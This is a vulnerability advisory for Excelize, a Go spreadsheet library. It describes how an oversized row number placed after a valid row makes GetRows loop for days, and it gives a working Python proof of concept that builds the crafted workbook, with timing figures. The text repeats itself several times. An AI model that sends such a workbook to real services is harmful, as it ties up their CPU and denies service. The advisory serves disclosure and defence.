CVE-2026-107212

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
    rows.err = ErrMaxRows
    return false
}

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
    rows.curRow = rowNum
}

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

import zipfile
parts = {
    "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
    "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
    "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
    "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
    "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    for name, xml in parts.items():
        z.writestr(name, xml)

f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // does not return

Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS…

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.

Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.

Summary

A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.

Details

Rows.Next checks the row number:

rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
    rows.err = ErrMaxRows
    return false
}

But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):

if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
    rows.curRow = rowNum
}

After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().

If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.

Proof of concept

This script uses only the Python standard library and writes a 1.5 KB workbook:

import zipfile
parts = {
    "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
    "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
    "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
    "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
    "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
    for name, xml in parts.items():
        z.writestr(name, xml)

f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // does not return

Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS…

Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days in github.com/xuri/excelize